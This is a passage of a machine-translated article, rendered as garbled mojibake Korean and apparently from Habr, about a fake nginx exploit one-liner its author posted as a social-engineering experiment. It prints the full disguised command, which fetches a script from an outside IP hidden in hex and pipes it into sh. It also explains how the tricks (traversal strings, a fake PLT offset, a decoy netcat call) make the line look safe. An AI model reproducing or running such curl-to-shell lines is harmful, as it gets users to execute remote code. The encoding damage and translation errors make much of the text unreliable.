๋ฉ๋ชจ. ๋ฒ์ญ:
ํต์ฌ์์ฝ: ์ด๋ค ์ํฉ์์๋ sh๋ bash์์ ํ์ผ ํ์ดํ๋ผ์ธ์ ์ฌ์ฉํ์ง ๋ง์ธ์. ์ด๋ ์ปดํจํฐ์ ๋ํ ํต์ ๋ ฅ์ ์์ ์ ์๋ ์ข์ ๋ฐฉ๋ฒ์
๋๋ค.
์ ๋ 31์ XNUMX์ผ์ ์์ฑ๋ ์ฝ๋ฏนํ PoC ์ต์คํ๋ก์์ ๋ํ ์งง์ ์ด์ผ๊ธฐ๋ฅผ ์ฌ๋ฌ๋ถ๊ณผ ๊ณต์ ํ๊ณ ์ถ์ต๋๋ค. ๊ทธ๋ ์์์ ๋ฃ๊ณ ๊ณง๋ฐ๋ก ๋ฑ์ฅํ๋ค.
์ปฌ์ ์๋ก์ด ๋๋ ํ ๊ธฐ์ ์์ ์ ๋ง์น ํ, ๋๋ ์๋ณธ ํธ์์ ์ธ์ฉํ๊ณ ๋ฐ๊ฒฌ๋ ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ๊ฒ์ผ๋ก ์ถ์ ๋๋ ํ ์ค์ ์ฝ๋๋ก ๊ตฌ์ฑ๋ "์๋ํ๋ PoC๋ฅผ ์ ์ถํ์ต๋๋ค". ๋ฌผ๋ก ์ด๊ฒ์ ์์ ํ ๋ง๋ ์๋๋ ์ผ์ด์์ต๋๋ค. ๋๋ ๋ด๊ฐ ์ฆ์ ๋ ธ์ถ๋ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ๊ณ , ๊ธฐ๊ปํด์ผ ๋ช ๋ฒ์ ๋ฆฌํธ์์ ๋ฐ์ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ์ต๋๋ค.
๊ทธ๋ฌ๋ ๋ค์์ ๋ฌด์จ ์ผ์ด ์ผ์ด๋ฌ๋์ง ์์ํ ์ ์์์ต๋๋ค. ๋ด ํธ์์ ์ธ๊ธฐ๊ฐ ๊ธ์์นํ์ต๋๋ค. ๋๋๊ฒ๋ ํ์ฌ(๋ชจ์คํฌ๋ฐ ์๊ฐ 15์ 00์ผ 1์) ์ด๊ฒ์ด ๊ฐ์ง๋ผ๋ ๊ฒ์ ๊นจ๋ซ๋ ์ฌ๋์ ๊ฑฐ์ ์์ต๋๋ค. ๋ง์ ์ฌ๋๋ค์ด ์ ํ ํ์ธํ์ง ์๊ณ ์ด๋ฅผ ๋ฆฌํธ์ํฉ๋๋ค(์ถ๋ ฅ๋๋ ์๋ฆ๋ค์ด ASCII ๊ทธ๋ํฝ์ ๊ฐํํ๋ ๊ฒ์ ๋งํ ๊ฒ๋ ์์ต๋๋ค).
์ผ๋ง๋ ์๋ฆ๋ค์ด์ง ๋ณด์ธ์!
์ด๋ฌํ ๋ฃจํ์ ์์์ ๋ชจ๋ ํ๋ฅญํ์ง๋ง ์ฌ๋๋ค์ด ์ด๋ฅผ ๋ณด๋ ค๋ฉด ์ปดํจํฐ์์ ์ฝ๋๋ฅผ ์คํํด์ผ ํ๋ค๋ ๊ฒ์ ๋ถ๋ช ํฉ๋๋ค. ๋คํ์ค๋ฝ๊ฒ๋ ๋ธ๋ผ์ฐ์ ๋ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์๋ํ๋ฉฐ ๋ฒ์ ์ธ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๊ณ ์ถ์ง ์๋ค๋ ์ฌ์ค๊ณผ ๊ฒฐํฉํ์ฌ ๋ด ์ฌ์ดํธ์ ๋ฌปํ ์๋ ์ฝ๋๋ ์ถ๊ฐ ์ฝ๋๋ฅผ ์ค์นํ๊ฑฐ๋ ์คํํ๋ ค๊ณ ์๋ํ์ง ์๊ณ ์์ฝ ํธ์ถ๋ง ํ๊ณ ์์์ต๋๋ค.
์์ ํ์ :
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
์ฌํ์ ์๊ณตํ(SEE) - ๋จ์ํ ํผ์ฑ ๊ทธ ์ด์
์์ ๊ณผ ์น์์ฑ์ ์ด ์คํ์ ์ฃผ์ ๋ถ๋ถ์ด์์ต๋๋ค. ๋๋ ๊ทธ๊ฒ์ด ๊ทธ์ ์ฑ๊ณต์ ์ด๋ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ๋ค. ๋ช ๋ น์ค์์๋ "127.0.0.1"(์ ์๋ ค์ง ๋ก์ปฌ ํธ์คํธ)์ ์ฐธ์กฐํ์ฌ ๋ณด์์ ๋ช ํํ๊ฒ ์์ํ์ต๋๋ค. Localhost๋ ์์ ํ ๊ฒ์ผ๋ก ๊ฐ์ฃผ๋๋ฉฐ ๊ทธ ์์ ๋ฐ์ดํฐ๋ ์ปดํจํฐ๋ฅผ ๋ ๋์ง ์์ต๋๋ค.
์ต์ํจ์ ์คํ์ ๋ ๋ฒ์งธ ํต์ฌ SEE ๊ตฌ์ฑ ์์์์ต๋๋ค. ๋์ ์ฒญ์ค์ ์ฃผ๋ก ์ปดํจํฐ ๋ณด์์ ๊ธฐ๋ณธ ์ฌํญ์ ์ต์ํ ์ฌ๋๋ค๋ก ๊ตฌ์ฑ๋์์ผ๋ฏ๋ก ์ฝ๋์ ์ผ๋ถ๊ฐ ์น์ํ๊ณ ์น์ํด ๋ณด์ด๋๋ก(๋ฐ๋ผ์ ์์ ํด ๋ณด์ด๋๋ก) ์ฝ๋๋ฅผ ์์ฑํ๋ ๊ฒ์ด ์ค์ํ์ต๋๋ค. ์ค๋๋ ์ต์คํ๋ก์ ๊ฐ๋ ์ ์์๋ฅผ ์ฐจ์ฉํ๊ณ ์ด๋ฅผ ํน์ดํ ๋ฐฉ์์ผ๋ก ๊ฒฐํฉํ๋ ๊ฒ์ ๋งค์ฐ ์ฑ๊ณต์ ์ธ ๊ฒ์ผ๋ก ์ ์ฆ๋์์ต๋๋ค.
์๋๋ ์๋ผ์ด๋์ ๋ํ ์์ธํ ๋ถ์์ ๋๋ค. ์ด ๋ชฉ๋ก์ ์๋ ๋ชจ๋ ๊ฒ์ด ์ฐฉ์ฉ๋ฉ๋๋ค. ๋ฏธ์ฉ์ ์ฑ๊ฒฉ, ์ค์ ์๋์๋ ์ฌ์ค์ ์๋ฌด๊ฒ๋ ํ์ํ์ง ์์ต๋๋ค.
์ค์ ๋ก ํ์ํ ๊ตฌ์ฑ ์์๋ ๋ฌด์์
๋๊น? ์ด๊ฒ -gsS
, -O 0x0238f06a
, |sh
๊ทธ๋ฆฌ๊ณ ์น ์๋ฒ ์์ฒด. ์น ์๋ฒ์๋ ์
์์ ์ธ ๋ช
๋ น์ด ํฌํจ๋์ด ์์ง ์๊ณ ๋จ์ํ ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ASCII ๊ทธ๋ํฝ์ ์ ๊ณตํ์ต๋๋ค. echo
ํฌํจ๋ ์คํฌ๋ฆฝํธ์์ index.html
. ์ฌ์ฉ์๊ฐ ๋ค์ ์ค์ ์
๋ ฅํ์ ๋ |sh
์ค๊ฐ์, index.html
๋ก๋ ๋ฐ ์คํ๋์์ต๋๋ค. ๋คํ์ค๋ฝ๊ฒ๋ ์น์๋ฒ ๊ด๋ฆฌ์ธ๋ค์ ์
์๊ฐ ์์์ต๋๋ค.
-
../../../%00
โ ๋๋ ํ ๋ฆฌ๋ฅผ ๋์ด์๋ ๊ฒ์ ๋ํ๋ ๋๋ค. -
ngx_stream_module.so
โ ์์์ NGINX ๋ชจ๋์ ๋ํ ๊ฒฝ๋ก; -
/bin/sh%00<'protocol:TCP'
โ ์ฐ๋ฆฌ๋ ์๋ง๋ ์ถ์ ์์ /bin/sh
๋์ ๋จธ์ ์์ ์ถ๋ ฅ์ TCP ์ฑ๋๋ก ๋ฆฌ๋๋ ์ ํฉ๋๋ค. -
-O 0x0238f06a#PLToffset
- ๋น๋ฐ ์ฑ๋ถ, ๋ณด์ถฉ#PLToffset
, ์ด๋ป๊ฒ๋ PLT์ ํฌํจ๋ ๋ฉ๋ชจ๋ฆฌ ์คํ์ ์ฒ๋ผ ๋ณด์ ๋๋ค. -
|sh;
- ๋ ๋ค๋ฅธ ์ค์ํ ์กฐ๊ฐ. ๋ค์ ์์น์ ์๋ ๊ณต๊ฒฉ ์น ์๋ฒ์์ ์ค๋ ์ฝ๋๋ฅผ ์คํํ๋ ค๋ฉด ์ถ๋ ฅ์ sh/bash๋ก ๋ฆฌ๋๋ ์ ํด์ผ ํ์ต๋๋ค.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- netcat์ด ์ฐธ์กฐํ๋ ๋๋ฏธ/dev/tcp/localhost
๋ชจ๋ ๊ฒ์ด ๋ค์ ์์ ํด ๋ณด์ด๋๋ก ๋ง์ด์ฃ . ์ฌ์ค ๊ทธ๊ฒ์ ์๋ฌด ๊ฒ๋ ํ์ง ์์ผ๋ฉฐ ์๋ฆ๋ค์์ ๋ฒ์ฃผ์ ํฌํจ๋ฉ๋๋ค.
์ด๊ฒ์ผ๋ก ํ ์ค ์คํฌ๋ฆฝํธ์ ํด๋ ๊ณผ "์ฌํ ์ ์ ๊ณตํ"(๋ณต์กํ ํผ์ฑ) ์ธก๋ฉด์ ๋ํ ๋ ผ์๋ฅผ ๋ง์นฉ๋๋ค.
์น ์๋ฒ ๊ตฌ์ฑ ๋ฐ ๋์ฑ
๋ด ๊ตฌ๋ ์์ ๋๋ค์๊ฐ ์ ๋ณด ๋ณด์/ํด์ปค์ด๊ธฐ ๋๋ฌธ์ ๋๋ ์น ์๋ฒ๋ฅผ ๊ทธ๋ค์ "๊ด์ฌ" ํํ์ ์ข ๋ ์ ํญ๋ ฅ ์๊ฒ ๋ง๋ค๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค. ์ค์ ). ์คํ์ด ์์ง ์งํ ์ค์ด๊ธฐ ๋๋ฌธ์ ์ฌ๊ธฐ์ ๋ชจ๋ ํจ์ ์ ๋์ดํ์ง๋ ์๊ฒ ์ง๋ง, ์๋ฒ๊ฐ ์ํํ๋ ๋ช ๊ฐ์ง ์์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
- ํน์ ์์ ๋คํธ์ํฌ์์์ ๋ฐฐํฌ ์๋๋ฅผ ์ ๊ทน์ ์ผ๋ก ๋ชจ๋ํฐ๋งํ๊ณ ๋ค์ํ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ์ธ๋ค์ผ์ ๋์ฒดํ์ฌ ์ฌ์ฉ์๊ฐ ๋งํฌ๋ฅผ ํด๋ฆญํ๋๋ก ์ ๋ํฉ๋๋ค.
- ์ ์คํฌ๋ฆฝํธ๋ฅผ ํ์ํ๋ ๋์ Chrome/Mozilla/Safari/etc๋ฅผ Thugcrowd ํ๋ณด ๋น๋์ค๋ก ๋ฆฌ๋๋ ์ ํฉ๋๋ค.
- ์นจ์ /๋ ธ๊ณจ์ ์ธ ํดํน์ ๋ช ๋ฐฑํ ์งํ๋ฅผ ๊ฐ์ํ ๋ค์ ์์ฒญ์ NSA ์๋ฒ๋ก ๋ฆฌ๋๋ ์ ํ๊ธฐ ์์ํฉ๋๋ค(ํ!).
- ์ฌ์ฉ์๊ฐ ์ผ๋ฐ ๋ธ๋ผ์ฐ์ ์์ ํธ์คํธ๋ฅผ ๋ฐฉ๋ฌธํ๋ ๋ชจ๋ ์ปดํจํฐ์ ํธ๋ก์ด ๋ชฉ๋ง์ BIOS ๋ฃจํธํท์ ์ค์นํฉ๋๋ค(๋๋ด์ ๋๋ค!).
ํญ์ฒด์ ์์ ๋ถ๋ถ
์ด ๊ฒฝ์ฐ ๋์ ์ ์ผํ ๋ชฉํ๋ Apache์ ์ผ๋ถ ๊ธฐ๋ฅ, ํนํ ์์ฒญ ๋ฆฌ๋๋ ์ ์ ์ํ ๋ฉ์ง ๊ท์น์ ์ตํ๋ ๊ฒ์ด์๊ณ ๋๋ ์๊ฐํ์ต๋๋ค. ์ ์ ๋ ๊น?
NGINX ์ต์คํ๋ก์(์ง์ง!)
๊ตฌ๋
ํ๊ธฐ
์ถ์ฒ : habr.com